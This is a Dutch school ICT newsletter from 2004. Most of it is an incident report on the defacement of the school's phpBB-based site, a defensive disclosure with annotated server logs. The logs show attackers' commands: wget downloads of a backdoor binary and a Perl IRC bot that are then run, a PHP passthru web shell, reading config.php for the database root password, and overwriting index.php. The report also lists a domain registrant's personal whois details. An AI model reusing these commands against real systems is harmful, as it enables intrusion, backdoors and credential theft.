+++++++++++++++++++++++++++++++++++++++++++++++++++++++
Baarsjes Informatie en Communicatie Jaargang 4 - week 50 - 2004 (10 december)
Wat is er deze week op de Rosa Boekdrukker op ICT gebied gebeurd?
+++++++++++++++++++++++++++++++++++++++++++++++++++++++


 een hele lange BIC (wegens onze defacing) met een zeer technische staart

ICT in de vergadering
Deze week is vermeld, dat we werken aan het protocol: “hoe te handelen bij storingen?” Uit het team kwam naar voren, dat er weer gesurft is op onbetamelijke sites. In de volgende vergadering zullen de regels weer eens besproken worden. Want ook is gesignaleerd, dat er kinderen zonder opdracht en zonder toezicht zitten te computeren. Tja, dat vraagt om problemen!!

Maatwerk
Het onderzoek naar de criteria om software aan te schaffen is positief uitgevallen voor het programma Maatwerk. Het heeft een instaptoets dat het niveau van de leerling bepaalt en een handelingsplan voorlegt. We zijn benieuwd. We moeten het natuurlijk nog wel even zelf uittesten. Het is van de firma Malmberg…… 8 jaar lang zouden we 111 euro jaarlijks voor het gebruik ervan moeten betalen.

Microsoft licenties
Deze week hebben we onze registratie voor het gebruik van Microsoft producten in orde gemaakt bij het APS. We hebben nu naar eerlijkheid onze 50 computers opgegeven. Meer dan 700 euro betalen we voor het gebruik van lekkende software. We hopen dat het over een jaar niet meer nodig is en dat we voor die uitgespaarde 750 euro leuke bibliotheekboeken kunnen kopen!

Opmerking in gastenboek
Een paar weken geleden vonden we vervelende opmerkingen in ons gastenboek. Een snel speurwerk van Dirk en Peter leidde naar het Ip-adres van de school waarvandaan de lelijke woorden kwamen. Een email naar de school heeft ertoe geleid, dat de daders zijn gepakt. Ze hebben hun excuses in ons gastenboek gezet (http://www.rosaboekdrukker.net/index.php?section=5 ).

Switches
Karin is door het stof gegaan om op alle stekkerdozen van de netwerkstopcontacten de nummers af te lezen. Eerst moesten ze genummerd worden en moest worden opgeschreven welke computer met welk MAC adres in de contactdoos zit. Dirk heeft alle computers losgetrokken en daarna zijn we alle computers om en om in een van de twee switches gaan steken. Meteen hebben we te lange draden vervangen door kortere draden. We hebben nog maar drie gaten over, dus moet er een switch bijkomen. We hebben nog niet ontdekt waardoor vorige week de ene switch is uitgevallen.
Nu net op de valreep van de publicatie van deze BIC heeft Dirk ontdekt wat er aan de hand is: oververhitting! De ventilatoren van de onderste switch zijn vervuild en draaien niet op volle toeren.
Dirk zal ze schoonmaken.

SITE@SCHOOL

Complimenten
Vandaag werden we gebeld door een ouder van een school in Amsterdam Zuid die zo enthousiast is over S@S, en de makers een compliment wilde maken. Daar zijn we erg blij mee. Het is trouwens zeer de moeite waard om eens een kijkje te nemen bij andere sites die S@S gebruiken. Zie: http://siteatschool.sourceforge.net/index.php?section=6

Het stond al lang op het programma om S@S zeer grondig aan te gaan pakken. Het programma is meer dan twee jaar jong, er is door verschillende mensen van alles aan ge- en versleuteld, waardoor het soms wat chaotisch is.
Peter heeft een paar dagen in de code gekeken en deze week hadden Peter, Fred en Dirk een eerste bespreking waarin een paar vragen centraal stonden:
- hoe kan S@S veiliger. Dit item stond al op het programma lang voor de defacing (zie onder).
- hoe kan S@S duurzamer. Steeds meer scholen gebruiken S@S en dat schept verantwoordelijkheden; voor nu en in de toekomst. Over de jaren moet er ook door anderen aan doorontwikkeld kunnen worden. Er komt een developers manual en grotere uniformiteit in de code.
- hoe komen we van allerlei 'erfenissen uit het verleden' af, zonder de  oude gebruikers met problemen op te zadelen. S@S is een beetje uit zijn jasje gegroeid, en dat is reden om zaken opnieuw te overdenken en fundamenteel aan te pakken.
Kortom, er gaat een hoop werk aan S@S verricht worden waar de gewone gebruiker helemaal niets van zal merken.
Echter, goedwillende lieden zullen makkelijker kunnen meewerken en kwaadwillend gespuis zal zijn tanden stukbijten op S@S.

DEFACED :-(((
Het is ons overkomen: gedurende enkele uren is onze website 'overgenomen' door redelijk aardige onverlaten (defacen - het gezicht weghalen).
Hier is het complete relaas. Lees het en wees gewaarschuwd.
Een paar dagen eerder had Peter ons gemeld dat er een kwetsbaarheid was ontdekt in het forum dat wij gebruiken (phpBB).
Hij raadde ons aan om te upgraden want de patch om het gat te dichten was al beschikbaar.
We waren nog niet uitgedacht over hoe en wanneer we e.e.a. zouden aanpakken of de Rosa Boekdrukker website was verdwenen en vervangen door een Braziliaanse tekst:
Simiens Crew, Enquanto houver fome e guerra simiens existira
Betekenis (dank aan Anrik):
Simiens Crew, Zolang er honger en oorlog is dan zal Simiens blijven bestaan.
Gelukkig had Karin het snel in de gaten. Peter gebeld die de zaak snel in orde maakte door  het Forum offline te halen en onze eigen site weer online te zetten. Het forum werd hernoemd om te kunnen achterhalen wat de schade kon zijn en om conclusies te kunnen trekken over de te nemen maatregelen.
We voelen ons zeer gepakt.
Peter heeft de logfiles bestudeerd. We willen je e.e.a. niet onthouden onder het motto:
"We zijn een school, dus gericht op het _delen_ van kennis". En merken daarbij op: Je moet 't ook delen als het niet leuk is.
Lees en huiver!
”Ik (Peter) heb nu alle relevante logfiles doorgespit, voor details zie onderaan dit bericht. Management summary:
Er zijn in totaal 4 (potentieel) gevaarlijke dingen gebeurd.
1. Het downloaden van een binair programma cbsd om een backdoor te creëren. Gestopt dankzij Mourani's achterdocht. (21-11-2004)
2. De configuratiefile van het forum is achterhaald; het MySQL-root password is nu bekend (maar inmiddels gewijzigd) (29-11-2004)
3. Defacement door een Braziliaans clubje onder de naam "Simiens Crew". Helaas gelukt, maar heeft gelukkig de aandacht getrokken. (03-12-2004)
4. Een ingewikkeld Perl-script zou uitgevoerd hebben kunnen worden als niet op dat moment de hele phpBB2 niet al uit de lucht was gehaald door mij. (04-12-2004)
Voor de rest zijn er ettelijke succesvolle pogingen geweest om het commando 'id' uit te voeren. Daar is verder geen actie op ondernomen door de indringer(s).
De problemen traden voor het eerst op op 21 november, dus mijn eerste advies inzake upgrading (van 1 december) was sowieso al aan de late kant, blijkt achteraf. Het forum is op 3 december stilgelegd, vrij snel na Karin's melding.”

Hier zijn relevante zaken uit de logfiles.

Nu wordt het echt technisch. Voor de doordouwertjes onder jullie:
-----------------------------------------------------------------------------
209.236.124.24 - - [21/Nov/2004:19:01:58 +0100]

wget http://ov3r.passwd.at/sh111t/cbsd -O /tmp/cbsd; chmod +x /tmp/cbsd;
/tmp/cbsd 202.3.141.157 55555
Dit herhaalt zich zo'n 20 keer. Laatste in die serie:
209.236.124.24 - - [21/Nov/2004:19:02:16 +0100]
wget http://ov3r.passwd.at/sh111t/cbsd -O /tmp/cbsd; chmod +x /tmp/cbsd;/tmp/cbsd 202.3.141.157 55555
Daarna vanaf dezelfde IP:
209.236.124.24 - - [21/Nov/2004:19:02:20 +0100]id;uname -a;
Uitleg:
Met wget wordt van de host ov3r.passwd.at een binair programma opgehaald.
Dit programma wordt uitvoerbaar gemaakt en zou zo te zien contact met host 202.3.141.157 moeten leggen.
Ik vermoed dat dit programma een login-shell opent.|
Vreemd is alleen dat deze poging zo'n 20x herhaald wordt binnen 18 seconden. Zou het soms niet lukken? Mmmm.... Nadere bestudering wijst uit dat Mourani standaard /tmp het attribuut noexec meegeeft. Hoezee: elke executable in /tmp levert een melding Permission Denied op!
Wat er gebeurd is is niet na te gaan maar ik schat eigenlijk dat er dus niets gebeurd is...
Hosts:
24.124.236.209.in-addr.arpa domain name pointer filtercube1.edumaster.net.
157.141.3.202.in-addr.arpa domain name pointer host.toukatsu-clinic-hospital.jp. ov3r.passwd.at has address 67.43.11.126
Host 126.11.43.67.in-addr.arpa not found: 3(NXDOMAIN)
Gegevens bij domein passwd.at:
personname:     Salvatore Cangialosi organization:
street address: 223 Academy Drive
postal code:    USA-01106
city:           Longmeadow
country:        USA
phone:          +14137855668
e-mail:        
blax@post.com
nic-hdl:        SC1665235-NICAT
changed:        20040824 16:33:13
source:         AT-DOM
-----------------------------------------------------------------------------
213.144.148.19 - - [21/Nov/2004:22:44:10 +0100]
echo;echo ---dcha0s---;id;echo ---dcha0s---;echo
Host:
19.148.144.213.in-addr.arpa domain name pointer kunden1.livenet.ch.
-----------------------------------------------------------------------------
193.232.254.217 - - [24/Nov/2004:03:15:35 +0100] echo C3NZOR3D
193.232.254.217 - - [24/Nov/2004:22:08:18 +0100]
echo \<\?\ passthru\(\$_GET\[\'cmd\'\]\)\ \?\> > tmp.php
Host:
217.254.232.193.in-addr.arpa domain name pointer proxy.karelia.ru.
-----------------------------------------------------------------------------
200.225.194.49 - - [27/Nov/2004:18:59:11 +0100]
id
Host:
49.194.225.200.in-addr.arpa domain name pointer 225-194-049.ctbctelecom.com.br.
-----------------------------------------------------------------------------
200.193.77.75 - - [27/Nov/2004:21:41:09 +0100]
id
Host:75.77.193.200.in-addr.arpa domain name pointer 200-193-077-075.jvece7001.dsl.brasiltelecom.net.br.
-----------------------------------------------------------------------------
200.76.229.206 - - [29/Nov/2004:06:55:26 +0100] tail config.php
Beschrijving:
Dit commando laat de inhoud zien van de configuratiefile, met daarin --helaas --het root-wachtwoord van de MySQL-database.
Dat zal dus anders moeten. Sorry. Wijze les: iedere databaseapplicatie zijn eigen userid en wachtwoord. Nu is het MySQL-rootpassword compromised en moeten alle applicaties aangepast worden.
Overigens is het password inmiddels gewijzigd per 2004-12-09 16:30 uur.
Host: 206.229.76.200.in-addr.arpa domain name pointer red-corpb36ADSL-206.telnor.net.
Referer (!): http://200.58.112.84/~moneos/phpbb-exploit.php
-----------------------------------------------------------------------------
201.8.131.11 - "" [01/Dec/2004:03:29:02 +0100] uname -a;id;pwd;
-----------------------------------------------------------------------------
200.98.137.119 - - [01/Dec/2004:04:07:37 +0100] uname -a;id;pwd;
-----------------------------------------------------------------------------
200.162.208.31 - - [03/Dec/2004:12:19:40 +0100]
id echo UN_COMECO;echo UN_COMECO;uname -a;id;echo UN_FIM
etc. etc. etc.
200.162.208.31 - - [03/Dec/2004:16:01:49 +0100]
echo AKI0x01;cd /home/httpd/htdocs;echo Simiens Crew, Enquanto houver fome e guerra simiens existira > index.php;cat index.php;echo ALI0x02;
Deze kenden we al (deze defacement zette ons op het spoor! We mogen ze wel dankbaar zijn!) 91.230.162.200.in-addr.arpa domain name pointer
200.162.230.91.user.ajato.com.br.
===================================================================
Vanaf vrijdagavond 3 december was er geen gat meer; alle volgende pogingen zijn dus mislukt. Desondanks heel leerzaam...
===================================================================
-----------------------------------------------------------------------------
200.203.110.192 - - [04/Dec/2004:04:04:51 +0100]
cd /tmp;wget http://paginas.terra.com.br/informatica/fdl/bot.txt;perl bot.txt
Uitleg:
Hier wordt een Perl-programma bot.txt opgehaald. Da's een file van zo'n 20 kB met daarin een backdoor / daemon die iets met IRC doet. Ik heb het niet in detail bekeken, maar eng is het wel.
192.110.203.200.in-addr.arpa domain name pointer 200-203-110-192.smace7006.dsl.brasiltelecom.net.br.
-----------------------------------------------------------------------------
201.8.130.119 - - [04/Dec/2004:08:33:06 +0100] echo ___INICIO___;uname -a;echo ___FIM___;
wordt nog een keer herhaald ook. No joy.
119.130.8.201.in-addr.arpa domain name pointer 201008130119.user.veloxzone.com.br.
-----------------------------------------------------------------------------
200.225.194.49 - - [04/Dec/2004:22:25:32 +0100] id echo ___INICIO___;id;echo ___FIM___; id 49.194.225.200.in-addr.arpa domain name pointer 225-194-049.ctbctelecom.com.br.
----------------------------------------------------------------------------
200.163.142.154 - - [06/Dec/2004:03:37:34 +0100]
echo ___INICIO___;id;echo ___FIM___;
154.142.163.200.in-addr.arpa domain name pointer 200-163-142-154.erece201.dial.brasiltelecom.net.br.
-----------------------------------------------------------------------------
200.206.201.27 - - [06/Dec/2004:16:37:41 +0100]
id
27.201.206.200.in-addr.arpa domain name pointer
200-206-201-27.dsl.telesp.net.br.
-----------------------------------------------------------------------------
200.232.209.189 - - [06/Dec/2004:22:55:43 +0100]
id
189.209.232.200.in-addr.arpa domain name pointer
200-232-209-189.dsl.telesp.net.br.
-----------------------------------------------------------------------------
200.162.230.91 - - [07/Dec/2004:16:46:59 +0100]
id
31.208.162.200.in-addr.arpa domain name pointer
200-162-208-31.user.ajato.com.br.
-----------------------------------------------------------------------------
24.239.158.30 - - [08/Dec/2004:02:48:36 +0100]
id
(herhaalt een stuk of 10 keer)
30.158.239.24.in-addr.arpa domain name pointer
user-0cev7gu.cable.mindspring.com.
-----------------------------------------------------------------------------
200.162.230.91 - - [08/Dec/2004:16:45:34 +0100]
id
91.230.162.200.in-addr.arpa domain name pointer
200.162.230.91.user.ajato.com.br.
-----------------------------------------------------------------------------
200.164.173.94 - - [08/Dec/2004:21:39:07 +0100]
echo ___INICIO___;uname -a;id;pwd;echo ___FIM___;
94.173.164.200.in-addr.arpa domain name pointer
200164173094.user.veloxzone.com.br.
-----------------------------------------------------------------------------
64.229.20.199 - - [09/Dec/2004:07:28:52 +0100]
id
id
199.20.229.64.in-addr.arpa domain name pointer
HSE-London-ppp196390.sympatico.ca.
-----------------------------------------------------------------------------
Tot zover dit lange verhaal.
Onze dank gaat uit naar Peter en Fred die snel in actie zijn gekomen.
Groet en goed weekend,
Karin en Dirk



Reacties op deze nieuwsbrief graag richten aan de afdeling ICT